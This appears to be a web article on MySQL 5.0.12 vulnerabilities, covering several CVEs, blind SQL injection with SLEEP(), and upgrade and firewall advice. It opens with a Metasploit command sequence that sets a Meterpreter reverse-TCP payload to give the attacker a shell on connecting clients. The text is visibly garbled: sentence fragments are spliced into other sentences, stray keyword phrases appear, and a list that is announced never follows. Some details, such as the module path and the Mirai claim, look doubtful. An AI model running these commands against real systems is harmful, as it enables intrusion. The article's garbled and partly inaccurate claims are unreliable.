The Metasploit Framework historically included:
use auxiliary/server/mysql/mysql_yassl_hello
set SRVHOST 0.0.0.0
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
When a MySQL client connects, the module delivers the overflow and returns a shell.
Multiple security flaws affect MySQL 5.0.12, ranging from buffer overflows to privilege escalation:
COM_TABLE_DUMP Buffer Overflow (CVE-2006-1518): This critical vulnerability exists in the open_table function within sql_base.cc. Attackers could send specially crafted COM_TABLE_DUMP packets with invalid length values to trigger a buffer overflow, potentially leading to remote code execution.
Windows LoadLibrary Denial of Service (CVE-2005-2572): On Windows installations, authenticated users with INSERT privileges on the mysql.func table could cause a server hang or execute code. By requesting a non-library file or a library not tailored for MySQL (like certain jpeg DLLs), they could block the LoadLibraryEx function. mysql 5.0.12 exploit
SUID Privilege Escalation (CVE-2006-4227): Versions earlier than 5.0.25, including 5.0.12, reportedly allowed authenticated users to gain unauthorized privileges through a stored routine.
Format String Vulnerability (CVE-2006-3469): Authenticated users could cause a denial of service (crash) by passing a format string instead of a date to the date_format function. Modern Exploitation Context
In modern penetration testing, MySQL 5.0.12 is often cited in the context of Blind SQL Injection payloads.
Time-Based Blind Injection: Tools like sqlmap use specific payloads designed for MySQL versions ≥is greater than or equal to When a MySQL client connects, the module delivers
5.0.12 that leverage the SLEEP() function to extract data when no direct output is visible.
Authentication Bypass (Comparison): While often confused with the "MySQL 5.0.12 exploit," the famous CVE-2012-2122 password bypass (1 in 256 chance of successful login with any password) affected much later versions, such as 5.1.x and 5.5.x. Mitigation and Risk Management
If you are still running MySQL 5.0.12, the system is considered highly insecure due to the age of these vulnerabilities.
Upgrade Immediately: The most effective solution is to upgrade to a supported version or, at minimum, a later patch in the legacy branch like MySQL 5.0.25 or higher. The MySQL 5
Restrict Table Access: Limit access to the mysql.func and mysql.proc tables to prevent users from adding malicious functions or routines.
Firewalling: Ensure the MySQL port (default 3306) is not accessible from the public internet to prevent remote packet-based overflows.
Security Audits: Use vulnerability scanners like Tenable Nessus to identify unpatched legacy services in your infrastructure. MySQL yaSSL CertDecoder::GetName Buffer Overflow - Rapid7
The MySQL 5.0.12 exploit is not a vulnerability you will see in a modern vulnerability scanner against a production database. But its principles remain eternally relevant. From the Mirai botnet (using ancient MySQL defaults) to recent attacks on PostgreSQL’s client libraries, memory corruption in database software is a recurring theme.
For security researchers, the MySQL 5.0.12 exploit is a beautiful case study:
For defenders, the lesson is simple: update your software, enable modern mitigations, and never blindly trust a connection string. The ghost of MySQL 5.0.12 may be old, but the pattern it represents will never die.